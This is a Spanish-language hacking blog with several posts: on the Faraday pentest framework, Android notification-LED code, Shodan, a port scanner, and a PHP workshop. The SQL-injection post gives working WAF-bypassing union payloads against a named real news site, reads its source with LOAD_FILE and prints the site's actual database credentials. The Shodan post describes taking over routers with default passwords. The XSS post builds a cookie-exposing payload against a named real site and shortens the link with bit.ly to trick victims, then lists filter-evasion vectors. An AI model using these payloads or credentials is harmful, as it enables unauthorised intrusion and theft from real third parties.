HD_Breaker Seguridad Informatica

Ethical Hacking And Exploits Development

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Wargames Challenges and Solutions

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Python App Development

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Java Development Tools

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Android App Development

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

lunes, 27 de enero de 2014

Faraday: Coperative Pentesting

Faraday


Hoy tenia ganas de escribir en mi blog, ya que hace mucho no pasaba por estos pagos, y sentía que me estaba fallando en mi misión de educar a las personas sobre la importancia de la seguridad informática y la protección de los datos que dejamos por internet.

Que es Faraday?


Faraday es un framework que nace de la necesidad de realizar pruebas de penetración de forma cooperativa, cosa que de momento solventaban algunas aplicaciones como Dradis, que generaban un entorno similar a Sharpoint de Microsoft, donde cada pentester podía dejar constancia de su trabajo y compartir las vulnerabilidades que encontraba.

Faraday presenta un futuro en el Pentesting Grupal, ya que por medio de CouchDB y un sistema de replicación de datos, permite de forma instantánea y en tiempo real compartir los datos de una intrusión, reduciendo al mínimo la perdida de tiempo al momento de generar reportes y distribuir la información entre el grupo de pentesters.

Esquema de como funciona


  Pentester 1<---------------Servidor CouchDB--------------->Pentester 2
Couch Replica 1--------------------->|<---------------------Couch Replica 2


El servidor CouchDB brinda un espacio de almacenamiento compartido similar a un SVN el cual alimenta las replicas en las bases de datos locales de cada pentester. A su vez, a medida que Faraday Encuentra diferencias entre las DB Replicas y la DB Servidor, actualiza el Servidor con los datos nuevos de las replicas, disparando nuevamente el ciclo de actualización para el resto de las replicas

Por ejemplo, dado un Servidor nuevo vació, 2 pentester se conecta, se genera una replica vacia en su entorno local de trabajo.
El Pentester 1 encuentra un SQL Injection, automaticamente se actualiza el Servidor y por consecuencia se actualiza la replica local del Pentester 2
A su vez, el Pentester 2 encuentra un XSS, esto dispara la actualizacion del Servidor y por consecuencia la actualizacion de la replica del Pentester 1. Una maravilla de los sistemas distribuidos!!!

Como se trabaja con Faraday?


Para auditar con Faraday no necesitas ningún cambio de concepto, simplemente utilizas las herramientas que acostumbras y ataques manuales, el Framework captura las respuestas de las herramientas en su terminal y va generando un patrón de datos que se almacena en CouchDB.
Además, como todos sabemos, los pentester que nos arrimamos a la profesionalidad del trabajo, solemos auditar de forma manual, y Faraday también contempla esto, permitiéndonos añadir Notas, Vulnerabilidades y Credenciales de forma manual con un simple click derecho!!!

Por lo que podemos auditar Cooperativamente, utilizando herramientas como Nmap, Sqlmap, nikto, etc dejando que la herramienta trabaje sola y capture las respuestas, mientras que a la vez, auditamos manualmente y agregamos notas, como datos de VPN, contraseñas de correos electrónicos, información social, comentarios, vulnerabilidades que no encuentran los scanners, acotaciones, hasta exploits codeados por nosotros mismos.

Además de su increíble versatilidad, me deslumbra su poderosa flexibilidad, ya que si no estamos a gusto o simplemente queremos incluir una nueva herramienta que Faraday no captura, podemos nosotros mismos codear el plugin I/O y agregarlo al Framework

Existen 2 tipos de versión en desarollo:

Comunity Edition & Professional Edition


Esta ultima permite generar reportes modulares web para realizar presentaciones a nuestros clientes.



Invito a todos los interesados a probar su Comunity Edition, yo estoy sorprendido por el potencial de esta herramienta

Dejo algunas capturas:






Documentación Oficial: http://www.faradaysec.com/
Github: https://github.com/infobyte/faraday/



Utilizar LED de notificaciones ANDROID

En mi vida de desarrollador ANDROID me he topado con la necesidad de encender y apagar el LED de notificaciones que poseen algunos celulares, con el fin de demostrar una carga de datos correcta (LED en  Verde) o una carga erronea (LED en Rojo).

Al no encontrar casi documentación sobre este tema, decidi idear mi propia solución y quiero compartir la forma en que yo trabajo con este LED.
//Led en Verde
private void GreenFlashLight()
{
  String ns = Context.NOTIFICATION_SERVICE;
     NotificationManager mNotificationManager = (NotificationManager) act.getSystemService(ns);

     Notification notification = new Notification(R.drawable.check_acept, "", System.currentTimeMillis());
     notification.flags = Notification.FLAG_SHOW_LIGHTS | Notification.FLAG_AUTO_CANCEL;
     //Indico el color del led en verde
     notification.ledARGB = Color.GREEN;
     //Indico que el Notification Led se encienda por tiempo indeterminado
     notification.ledOnMS = 1;
     

     Context context = act.getApplicationContext();
     CharSequence contentTitle = "Producto Escaneado";
     CharSequence contentText = "Correcto!";
     Intent notificationIntent = new Intent(act, MainActivity.class);
     PendingIntent contentIntent = PendingIntent.getActivity(act, 0, notificationIntent, 0);

     notification.setLatestEventInfo(context, contentTitle, contentText, contentIntent);
     //Actualizo el estado del LED
     mNotificationManager.notify(1, notification);
     //Espero 20 mili segundos con el led prendido
      try{
         Thread.sleep(200);
      }catch(InterruptedException e){}
     //Función que apaga el LED
     OffLed();
}
//Led en Rojo
private void RedFlashLight()
{
  String ns = Context.NOTIFICATION_SERVICE;
     NotificationManager mNotificationManager = (NotificationManager) act.getSystemService(ns);

     Notification notification = new Notification(R.drawable.check_acept, "", System.currentTimeMillis());
     notification.flags = Notification.FLAG_SHOW_LIGHTS | Notification.FLAG_AUTO_CANCEL;
     //Establesco el color del LED en Rojo
     notification.ledARGB = Color.RED;
     //Enciendo el LED por tiempo Indeterminado
     notification.ledOnMS = 1;
     

     Context context = act.getApplicationContext();
     CharSequence contentTitle = "Producto Escaneado";
     CharSequence contentText = "Correcto!";
     Intent notificationIntent = new Intent(act, MainActivity.class);
     PendingIntent contentIntent = PendingIntent.getActivity(act, 0, notificationIntent, 0);

     notification.setLatestEventInfo(context, contentTitle, contentText, contentIntent);
     //Actualizo el estado del LED
     mNotificationManager.notify(1, notification);
     try{
         Thread.sleep(200);
      }catch(InterruptedException e){}
     //Funcion que apaga el LED
     OffLed();
}
//Apago el Led
private void OffLed(){
 String ns = Context.NOTIFICATION_SERVICE;
    NotificationManager mNotificationManager = (NotificationManager) act.getSystemService(ns);

    Notification notification = new Notification(R.drawable.check_acept, "Hello", System.currentTimeMillis());
    notification.flags = Notification.FLAG_SHOW_LIGHTS | Notification.FLAG_AUTO_CANCEL;
    //Elimino el Color del LED
    notification.ledARGB = 0;
    //Elimino tiempo de encendido del LED
    notification.ledOnMS = 0;
    //Elimino tiempo de apagado del LED
    notification.ledOffMS = 0;

    Context context = act.getApplicationContext();
    CharSequence contentTitle = "Producto Escaneado";
    CharSequence contentText = "Correcto!";
    Intent notificationIntent = new Intent(act, MainActivity.class);
    PendingIntent contentIntent = PendingIntent.getActivity(act, 0, notificationIntent, 0);

    notification.setLatestEventInfo(context, contentTitle, contentText, contentIntent);
    //Actualizo el estado del LED
    mNotificationManager.notify(1, notification);
    
    
}


lunes, 29 de julio de 2013

Realizar FSD por medio de SQLI

[center][size=24pt][i]Realizar FSD por medio de SQLI:[/i][/size][/center]

Veamos esta Web con SQLI:

http://www.lasemana.es/periodico/noticia.php?cod=34689




despues de explotar el sqli y Bypassear el WAF queda asi:



Vector:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),8,@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

como podemos ver, la inyección es Union Based, y saltamos un WAF que solo filtra union y select, ahora mi pregunta es si el usuario

lasema@localhost

Tiene privilegios de Apertura de Ficheros, nos fijamos de la siguiente manera:

Dentro de information_schema existe una tabla que se llama USER_PRIVILEGES,
Dentro de esta tabla existe 2 campos que nos interesan:

GRANTEE: Posee los nombre de usuario de la base de datos.
PRIVILEGE_TYPE: Tipo de privilegio que tiene el usuario.

entonces la logica, nos dice que tenemos que formular algo como esto:

select * from information_schema.USER_PRIVILEGES;

pero esto nos devolveria muchos usuarios que no nos interesan que permisos tienen,
nosotros queremos saber que permisos tiene: "lasema@localhost"  espesificamente si tiene el permiso FILE, a mi se me ocurre algo como esto:

SELECT GRANTEE FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE PRIVILEGE_TYPE="FILE";

esto nos mostraria todos los usuarios que tienen permisos FILE en la base de datos, entre eso buscaremos si se encuentra "lasema@localhost"

entonces acoplamos nuestra query sql a nuestra sentencia SQLI quedando de esta forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),group_concat(GRANTEE),@@datadir,10,11,12,13,14,15,16 from information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE=0x46494c45 limit 1,1-- -c

donde 0x46494c45 es el hexadecimal de FILE (Esto lo hacemos ya que no podemos encapsular FILE entre ' ' o " ")

vemos que nos devuelve esto:



podemos ver que al usar group_concat, la injection no logra ser completamente visible desde la interface de usuario, por lo que nos aventuraremos a ver el Source Code y buscando la palabra root nos posicionaremos sobre la linea de la injection:



Como podemos observar "lasema" aparece en esa linea, por lo que podemos determinar que el usuario "lasema@localhost" tiene permisos de FILE y podemos realizar lectura de archivo.

Para esto implementaremos nuestro querido:

LOAD_FILE("RUTA/ARCHIVO")

Bueno lo primero que debemos lograr es un Patch Disclosure que nos diga donde estamos parado, para esto vamos a intentar generar un error con caracteres invalidos para la web:

A mi se me ocurre poner algo tan simple como una '  y logro obtener esta respuesta:



podemos apreciar:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/docs/lasemana.es/periodico/noticia.php on line 8
donde mysql nos vuelve a dar una mano y nos revela nuestro patch disclosure:  /var/www/docs/lasemana.es/periodico/noticia.php

Recapitulando:

Gracias a nuestro usuario "lasema@localhost" que posee privilegios de FILE podremos realizar LOAD_FILE(RUTA) donde RUTA el path de nuestro Patch Disclosure!

Manos a la Obra:

Nuestra SQLI queda de esta Forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),LOAD_FILE(0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

Donde 0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870 es el hexadeciman de: /var/www/docs/lasemana.es/periodico/noticia.php (Ruta de nuestro Path Disclouse)

y Observaremos algo que esta muy enquilombado y no se entiende nada XD



por lo que asumo que desde nuestro codigo fuente se vera mas ordenado :D



y vemos muy claramente, el usuario y password de la base de datos:


$usuario = "lasema";
$contraseña = "arcaliso";
$conexion = mysql_connect("localhost", "$usuario","$contraseña") or mail ("sms@alisys.net","607720916","Se ha caido el Servidor","From: SOPORTE <soporte@lasemana.es>");

Espero que les sea de Utilidad!

HD_Breaker

miércoles, 17 de abril de 2013

SHODAN - Computer Search Engine


SHODAN - Computer Search Engine






Que es Shodan?

Shodan es un Sistema de búsqueda Basado en Banners y respuestas http, con el se puede buscar información directamente
en la respuesta del encabezado de cualquier servicio que un sitio devuelve

Comandos Básicos de Shodan:

country:AR (Filtra por País dando el Código de 2 letras del país)
city:"Buenos Aires" (Filtra por ciudad)
hostname:.edu.ar (Filtra por Hostname completos o parciales específicos)
port: 21 (Filtra por Puerto)
so:Linux

Esto nos da un arma compleja al utilizarla para el pentesting, dado q ya no solo tenemos acceso a un pentesting sobre servicios
sino también sobre hardware afectado

Un Ejemplo de búsqueda interesante que logre fue:

admin hostname:.ar

dando como resultado:




al hacer click en el link nos envía a:



ingresamos los datos como aparecen:

admin
1234

y bueno esta de más decir el resto:


Queda Configurar el Router a nuestro gusto, con suerte, al llegar a un switch de alguna empresa podríamos dejar sin sistema a toda la red de la misma.

Con Shodan se pueden encontrar: PCs, WebCams, Routers, AP, Servidores, etc

Happy Hunting!

Video Explicativo del DEFCON 18 sobre SHODAN: http://www.youtube.com/watch?v=EwDi2I3Q3yE





martes, 9 de abril de 2013

Underc0de Port Scaner (UPS!) Recien Salida del horno!!!


Underc0de Port Scanner (UPS!!!)


Tengo el Agrado de Presentarles la Primera Tool Android de Underc0de!





Port Scanning

Local y Remoto

- Escanea un Rango de Puertos de una Host/IP Local.
- Escanea un Rango de Puertos de una Host/IP Remoto.
- Idioma: Ingles.

Descarga:

http://underc0de.org/tools.html

by HD_Breaker!

jueves, 4 de abril de 2013

Cross Site Scripting (XSS) y Vectores de Evasion


Cross Site Scripting (XSS) y Vectores de Evasion


Bueno Antes que Nada este es solo un modelo de las posibilidades que brinda esta vulnerabilidad
recomiendo utilizar Firefox ya que Chrome tiene un bloqueo de Pop-up que nos va a impedir explotar comodamente el fallo

A tener en Cuenta:


Existe 2 tipos de XSS (Cross Site Scripting) ambos se basan en la ejecucion de codigo JavaScript sin que el ClientSide este pendiente de que esto va a suceder.

Reflected:


Son Aquellos producidos por un reflejo del Vector ingresado en el codigo html, por ej: Impresion de la Busqueda en una Web

Stored:


Son Aquellos Cuyo Vector ingresado queda registrado y/o impreso directamente en el contenido html de la Web Afectada.

Un Ej de esto seria un comentario de Moderacion que se guarda en una base de datos de gestion web por un Panel de Administracion, para darle el visto bueno.

Al Ingresar por ej un Script del tipo <script>alert("XSS")</script> no lo veriamos ejecutarce porq este esta pendiente de moderacion,
el Administrador al Ingresar al Panel de Moderacion este comentario se ejecutaria al momento de Moderar el Comentario. (Situacion Ideal)

Esto se puede utilizar para robar Cookies para luego lograr logearnos como ese Usuario.


Desarrollo:


En Fin Ambos Ataques se diferencian unicamente en el alcanse que poseen, XSS Reflected requiere un poco de ingenieria social para lograr nuestro Objetico

Hoy Vamos a Tomar como ejempo a http://www.napsix.com/ que posee un fallo de XSS Reflected que reportado numerosas veces sin tener respuestas ni ver Correccion del Bug.

Comencemos:


Abrimos en Nuestro Navegador http://www.napsix.com/ y vemos un flamante campo de Busqueda, interesado en ver que sucede ingreso un Vector de Busqueda.

Vector de Busqueda: >AQUI<

Inspeccionamos Elementos con Chrome y buscamos dentro del Codigo html la palabra AQUI



Vemos que no produce ningun tipo de Evacion ni Filtrado ante los caracteres ">" ni "<" esto da pie a pensar que vulnerable sin siquiera tener
que evadir con Double Encode.

Analicemos:


<input type="text" name="textoBusqueda" class="texto" value=">AQUI<">

lo que intentaremos lograr es sacar nuestro Vector de Ataque fuera del input, como podemos ver la propiedad Value abre y cierra con doble comilla
intentaremos cerrar value, luego cerrar el input, injectar el vector y comentar el resto del codigo html

Escapando de la propiedad Value:


Para lograr esto en nuestro vector inyectaremos unas comillas dobles (")

esto quedara de la siguiente manera:

<input type="text" name="textoBusqueda" class="texto" value=""">

como podemos ver queda por demas al final de la etiqueta un " antes del cierre >

Escapando del Input:


Ahora escaparemos del input, la logica de lo que vemos dice q se cierra con un ">" pero con un conocimiento minimo de html sabremos que las etiquetas input se cierran con /> aunque el inspector de Elementos de Chrome diga lo contrario.

Inyectaremos como Vector "/>

y nos quedara de la siguiente manera:

<input type="text" name="textoBusqueda" class="texto" value=""/>">

Como vemos queda de mas al final de nuestro input "> esto producira un error de sintaxis por lo que deseamos eliminar esto ultimo
y lo vamos a lograr comentando el resto del codigo html

Por lo que agregaremos un <!-- al final de nuestro vector:

"/><!--

y quedara una ves ejecutado:

<input type="text" name="textoBusqueda" class="texto" value=""/><!--">

dejando sin utilidad todo lo posterior a nuestra apertura de Comentario.

Si probamos este codigo veremos que no se ejecuta nada pero la busqueda se realiza con exito.






Al ver el contenido con el Inspector de Elementos, vemos que value aparece sin ningun valor y que el resto del codigo esta comentado:

<input type="text" name="textoBusqueda" class="texto" value="">

y esto es lo que estamos buscando, terminaremos la inyeccion agregando a nuestro vector justo antes de comentar (<!--) el codigo JavaScript que deseamos ejecutar

quedando de la siguiente manera:

Vector:


"/><script>alert(document.cookie)</script><!--

Reflejo Web:


<input type="text" name="textoBusqueda" class="texto" value="""/><script>alert(document.cookie)</script><!--">

esto producira que el codigo JavaScript se ejecute:

Si leyeron el Comienzo de este Tutorial veran que recomiendo usar Firefox para completar la explotacion ya que Chrome previene de ventanas Emergentes.



Vemos que se Ejecuta con Exito y deja Expuesto la cookie del Usuario.

Ingenieria Social:


Podriamos agregar en nuestro script una redireccion a un archivo php que almacenara esta cookie, y lo vamos a lograr con un poco de Ingenieria Social para explotar este Reflected XSS. Solo que en nuestro caso no robaremos la cookie solo Mostraremos un Alert a La Victima ya que estamos sobre un rubro etico.

Como vemos nuestro Vector de Ataque se produce por GET por lo que veremos nuestra inyeccion en la URL de nuestro Navegador:

http://napsix.mdzol.com/mendoza/search.jsp?textoBusqueda="%2F><script>alert(%2FRobe tu Cookie%2F)<%2Fscript><!--&categoriaSubcategoria=null&buscar2=buscar

Los Caracteres Especiales que se Pueden Ver son Simplemente nuestros tags en URL Encode.

Acortaremos esta URL con algun acortador de URL. En este caso utilizare https://bitly.com/shorten/



Dandonos como resultado este Link:

http://bit.ly/11s2A2K

Solo resta Enviar a Nuestra Victima este Link con algun discurso para que lo Abra en su Navegador.



Al revisar nuestra bandeja de entrada, vemos como el link cayo como Seguro y sin pasar al buzon de Spam



Al Hacer Click en el link Sucede la Magia:



Evasion de Filtros en XSS


Existe Distintos metodos de evacion utlizando metodos propios de javascript dentro de las etiquetas html que queremos inyectar, por Ej

<b onLoad=alert(/XSS/)></b>
<img src=. onerror=alert(/XSS/)>

Utilizar un Doble Encode Codificando 2 veces el Vector con URL Encode antes de ingresarlo

<b onLoad=alert(/XSS/)></b> A Double Encode:

%253Cb%2520onLoad%253Dalert%2528%252fXSS%252f%2529%253E%253C%252fb%253E

Double Tag para saltar StripTags

<scr<script>ipt>alert(/XSS/)</scr<script>ipt><!--

StripTag eliminara la etiqueta <script> y unira la etiqueta divididada.

Estos son unos de Muchos Otros Metodos de Evasion.





miércoles, 3 de abril de 2013

Primer Taller Php



PHP es un lenguaje de programacion del lado del servidor (back-end), lo que significa que todas las peticiones son procesadas en modo "background".A diferencia de los lenguajes que se ejecutan del lado del cliente (front-end) (como JavaScript) el interprete PHP se aloja en el servidor y este es quien se encarga de que todo funcione correctamente.
PHP ha sido desarrollado para manejar contenido de forma dinamica, puede trabajar de forma "amigable" con otros lenguajes en un mismo archivo, de esta forma hablamos que podemos incluirlo junto con javascript, html, y demas.

Ir al Taller